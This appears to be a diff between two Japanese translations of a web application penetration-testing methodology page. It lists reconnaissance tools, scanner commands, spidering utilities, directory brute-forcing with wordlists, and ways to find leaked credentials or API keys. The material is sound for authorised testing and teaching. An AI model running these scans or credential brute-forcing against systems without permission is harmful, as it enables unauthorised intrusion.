- [**Tomcat**](tomcat/)
|
- [**Tomcat**](tomcat/index.html)
|
||||||
- [**VMWare**](vmware-esx-vcenter....md)
|
- [**VMWare**](vmware-esx-vcenter....md)
|
||||||
- [**Web API Pentesting**](web-api-pentesting.md)
|
- [**Web API Pentesting**](web-api-pentesting.md)
|
||||||
- [**WebDav**](put-method-webdav.md)
|
- [**WebDav**](put-method-webdav.md)
|
||||||
- [**Werkzeug**](werkzeug.md)
|
- [**Werkzeug**](werkzeug.md)
|
||||||
- [**Wordpress**](wordpress.md)
|
- [**Wordpress**](wordpress.md)
|
||||||
- [**Electron Desktop (XSSからRCEへ)**](electron-desktop-apps/)
|
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
|
||||||
|
|
||||||
_**同じドメイン**が異なる**ポート**、**フォルダ**、および**サブドメイン**で**異なる技術**を使用している可能性があることに注意してください。_\
|
_同じドメインが異なる**ポート**、**フォルダ**、および**サブドメイン**で異なる**技術**を使用している可能性があることに注意してください。_\
|
||||||
ウェブアプリケーションが前述の**技術/プラットフォーム**や**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして教えてください!)。
|
ウェブアプリケーションが前述の**技術/プラットフォーム**や**その他の技術**を使用している場合は、**インターネットで新しいトリックを検索する**ことを忘れないでください(そして教えてください!)。
|
||||||
|
|
||||||
### ソースコードレビュー
|
### Source Code Review
|
||||||
|
|
||||||
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で行うことに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
|
アプリケーションの**ソースコード**が**github**で利用可能な場合、アプリケーションの**ホワイトボックステスト**を自分で実施することに加えて、現在の**ブラックボックステスト**に役立つ**情報**がいくつかあります:
|
||||||
|
|
||||||
- **Change-log**や**Readme**、**Version**ファイル、またはウェブ経由で**バージョン情報にアクセス可能な**ものはありますか?
|
- **Change-log**や**Readme**、**Version**ファイル、または**バージョン情報にアクセス可能な**ものはありますか?
|
||||||
- **資格情報**はどのように、どこに保存されていますか?資格情報(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
|
- **認証情報**はどのように、どこに保存されていますか? **認証情報**(ユーザー名やパスワード)が含まれる(アクセス可能な?)**ファイル**はありますか?
|
||||||
- **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
|
- **パスワード**は**プレーンテキスト**、**暗号化**されていますか、それともどの**ハッシュアルゴリズム**が使用されていますか?
|
||||||
- 何かを暗号化するために**マスターキー**を使用していますか?どの**アルゴリズム**が使用されていますか?
|
- 何かを暗号化するために**マスターキー**を使用していますか? どの**アルゴリズム**が使用されていますか?
|
||||||
- 脆弱性を悪用して**これらのファイルのいずれかにアクセス**できますか?
|
- 脆弱性を悪用してこれらのファイルのいずれかに**アクセス**できますか?
|
||||||
- **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか?または**コミット履歴**に(古いコミット内に**導入されたパスワード**があるかもしれません)?
|
- **github**に**興味深い情報**(解決済みおよび未解決の)**問題**はありますか? または**コミット履歴**に(古いコミット内に**導入されたパスワード**など)?
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
code-review-tools.md
|
code-review-tools.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### 自動スキャナー
|
### Automatic scanners
|
||||||
|
|
||||||
#### 一般目的の自動スキャナー
|
#### General purpose automatic scanners
|
||||||
```bash
|
```bash
|
||||||
nikto -h <URL>
|
nikto -h <URL>
|
||||||
whatweb -a 4 <URL>
|
whatweb -a 4 <URL>
|
||||||
@ -132,20 +132,20 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||||||
```
|
```
|
||||||
#### CMSスキャナー
|
#### CMSスキャナー
|
||||||
|
|
||||||
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。おそらく何か興味深いものが見つかるでしょう:
|
CMSが使用されている場合は、**スキャナーを実行する**ことを忘れないでください。もしかしたら何か興味深いものが見つかるかもしれません:
|
||||||
|
|
||||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
|
||||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\
|
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin**のセキュリティ問題を検出します。(GUI)\
|
||||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
|
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
|
||||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **または** [**(M)oodle**](moodle.md)\
|
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **または** [**(M)oodle**](moodle.md)\
|
||||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||||
```bash
|
```bash
|
||||||
cmsmap [-f W] -F -d <URL>
|
cmsmap [-f W] -F -d <URL>
|
||||||
wpscan --force update -e --url <URL>
|
wpscan --force update -e --url <URL>
|
||||||
joomscan --ec -u <URL>
|
joomscan --ec -u <URL>
|
||||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||||
```
|
```
|
||||||
> この時点で、クライアントが使用しているウェブサーバーに関する情報(データが提供されている場合)や、テスト中に留意すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。
|
> この時点で、クライアントが使用しているウェブサーバーに関する情報(もしデータが提供されていれば)や、テスト中に留意すべきいくつかのトリックを持っているはずです。運が良ければ、CMSを見つけてスキャナーを実行したかもしれません。
|
||||||
|
|
||||||
## ステップバイステップのウェブアプリケーション発見
|
## ステップバイステップのウェブアプリケーション発見
|
||||||
|
|
||||||
@ -175,12 +175,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||||||
|
|
||||||
**WebDav**が**有効**であるが、ルートフォルダーに**ファイルをアップロードする**ための十分な権限がない場合は、次のことを試みてください:
|
**WebDav**が**有効**であるが、ルートフォルダーに**ファイルをアップロードする**ための十分な権限がない場合は、次のことを試みてください:
|
||||||
|
|
||||||
- **ブルートフォース**認証情報
|
- **ブルートフォース**で認証情報を取得する
|
||||||
- ウェブページ内の**他のフォルダー**にWebDavを介して**ファイルをアップロード**する。別のフォルダーにファイルをアップロードする権限があるかもしれません。
|
- ウェブページ内の**見つかったフォルダー**にWebDavを介して**ファイルをアップロードする**。他のフォルダーにファイルをアップロードする権限があるかもしれません。
|
||||||
|
|
||||||
### **SSL/TLSの脆弱性**
|
### **SSL/TLSの脆弱性**
|
||||||
|
|
||||||
- アプリケーションがどの部分でも**HTTPSの使用を強制していない**場合、**MitM**に対して**脆弱**です。
|
- アプリケーションが**HTTPSの使用を強制していない**場合、**MitM**に対して**脆弱**です。
|
||||||
- アプリケーションが**HTTPを使用して機密データ(パスワード)を送信している**場合、これは高い脆弱性です。
|
- アプリケーションが**HTTPを使用して機密データ(パスワード)を送信している**場合、これは高い脆弱性です。
|
||||||
|
|
||||||
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
|
[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
|
||||||
@ -202,47 +202,47 @@ SSL/TLSの脆弱性に関する情報:
|
|||||||
ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクロールと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
|
ウェブ内で何らかの**スパイダー**を起動します。スパイダーの目的は、テストされたアプリケーションから**できるだけ多くのパスを見つけること**です。したがって、ウェブクロールと外部ソースを使用して、できるだけ多くの有効なパスを見つける必要があります。
|
||||||
|
|
||||||
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)。
|
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソース(Archive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com)。
|
||||||
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてのArchive.org。
|
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。
|
||||||
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、"juicy files"も示します。
|
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。
|
||||||
- [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgでも検索します。
|
- [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgでも検索します。
|
||||||
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、応答を保存します。
|
- [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定すると、megは各ホストの各パスを取得し、レスポンスを保存します。
|
||||||
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
|
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
|
||||||
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダー(wayback、otx、commoncrawl)を使用するHTMLスパイダー。
|
- [**gau**](https://github.com/lc/gau) (go): 外部プロバイダー(wayback、otx、commoncrawl)を使用するHTMLスパイダー。
|
||||||
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。
|
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトは、パラメータを持つURLを見つけてリストします。
|
||||||
- [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。
|
- [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。
|
||||||
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。
|
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。
|
||||||
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの専門家に役立ちます。
|
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルのエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に便利です。
|
||||||
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに役立ちます。メンテナンスされていないようです。
|
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです。
|
||||||
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を与えると、巧妙な正規表現を使用して相対URLを抽出します。
|
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイル(HTML)を与えると、巧妙な正規表現を使用して、醜い(ミニファイされた)ファイルから相対URLを見つけて抽出します。
|
||||||
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
|
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
|
||||||
- [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
|
- [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
|
||||||
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。
|
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。
|
||||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。
|
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 以前のツールのいくつかのオプションを組み合わせたコンテンツ発見ツール。
|
||||||
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
|
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
|
||||||
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得します。
|
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、整形されたJSコードを取得するツール。
|
||||||
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。
|
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。
|
||||||
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します(応答をダウンロードし、さらにリンクを探します)。
|
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します(レスポンスをダウンロードし、さらにリンクを探します)。
|
||||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローリングや、特定の正規表現を使用して機密情報を見つけます。
|
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローリングや、特定の正規表現を使用して機密情報を見つけます。
|
||||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。
|
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suiteは、サイバーセキュリティ専門家向けに設計された高度なマルチ機能GUIウェブセキュリティクローラー/スパイダーです。
|
||||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL、パス、シークレット、その他の興味深いデータをJavaScriptソースコードから抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です。
|
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL、パス、シークレット、その他の興味深いデータをJavaScriptソースコードから抽出するためのGoパッケージおよび[コマンドラインツール](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)です。
|
||||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出してカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。
|
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForgeは、リクエストからパラメータとエンドポイントを抽出し、ファジングと列挙のためのカスタムワードリストを作成するためのシンプルな**Burp Suite拡張機能**です。
|
||||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): これに最適な素晴らしいツールです。
|
- [**katana**](https://github.com/projectdiscovery/katana) (go): これに最適な素晴らしいツールです。
|
||||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): 見つけたすべてのリンクを印刷します。
|
- [**Crawley**](https://github.com/s0rg/crawley) (go): 見つけたすべてのリンクを印刷します。
|
||||||
|
|
||||||
### ディレクトリとファイルのブルートフォース
|
### ディレクトリとファイルのブルートフォース
|
||||||
|
|
||||||
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
|
ルートフォルダーから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
|
||||||
ツール:
|
ツール:
|
||||||
|
|
||||||
- **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
|
- **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
|
||||||
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**、再帰検索を許可します。
|
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 自己署名証明書は許可されていませんが**、再帰検索を許可します。
|
||||||
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索はありません。
|
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 自己署名証明書を許可し、**再帰的**検索は**ありません**。
|
||||||
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。**
|
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 高速、再帰検索をサポートします。**
|
||||||
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
- [**ffuf** ](https://github.com/ffuf/ffuf)- 高速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||||
- [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。
|
- [**uro**](https://github.com/s0md3v/uro) (python): これはスパイダーではありませんが、見つかったURLのリストを与えると「重複」URLを削除します。
|
||||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのburp履歴からディレクトリのリストを作成するためのBurp拡張機能。
|
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 異なるページのburp履歴からディレクトリのリストを作成するためのBurp拡張機能。
|
||||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 機能が重複しているURLを削除します(jsインポートに基づく)。
|
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JSインポートに基づいて重複機能を持つURLを削除します。
|
||||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出するためにwapalyzerを使用し、使用するワードリストを選択します。
|
- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用されている技術を検出するためにwapalyzerを使用し、使用するワードリストを選択します。
|
||||||
|
|
||||||
**推奨辞書:**
|
**推奨辞書:**
|
||||||
@ -276,29 +276,29 @@ _ブルートフォースやスパイダーリング中に新しいディレク
|
|||||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||||
- **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**を見つけることができます。
|
- **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**を見つけることができます。
|
||||||
- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報**を隠すことです。
|
- **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**に**情報**を**隠す**ことです(**何百もの**スペースを使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメントで**情報を隠す**ことです。
|
||||||
- **APIキー**: もし**APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
- **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||||
- Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
|
- Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
|
||||||
- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。
|
- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/index.html)。
|
||||||
|
|
||||||
### 特別な発見
|
### 特別な発見
|
||||||
|
|
||||||
**スパイダーリング**と**ブルートフォース**を実行している間に、**興味深い****もの**を**見つける**ことがあります。
|
**スパイダーリング**と**ブルートフォース**を実行しているときに、**興味深い****もの**を**見つける**ことがあります。
|
||||||
|
|
||||||
**興味深いファイル**
|
**興味深いファイル**
|
||||||
|
|
||||||
- **CSS**ファイル内の他のファイルへの**リンク**を探してください。
|
- **CSS**ファイル内の他のファイルへの**リンク**を探します。
|
||||||
- [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
|
- [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
|
||||||
- **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
|
- **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
|
||||||
- **APIエンドポイント**を見つけた場合、[それらもテストするべきです](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
|
- **APIエンドポイント**を見つけた場合、[それらもテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
|
||||||
- **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
|
- **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
|
||||||
- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)や[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを調べるべきです。
|
- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認する必要があります。
|
||||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
|
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
|
||||||
- **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
- **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||||
- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex)
|
- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||||
- **フォームが検出されたファイルを監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
|
- **フォームが検出されたファイルを監視**することもできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
|
||||||
|
|
||||||
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
|
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
|
||||||
|
|
||||||
@ -308,21 +308,21 @@ _ブルートフォースやスパイダーリング中に新しいディレク
|
|||||||
|
|
||||||
**502 Proxy Error**
|
**502 Proxy Error**
|
||||||
|
|
||||||
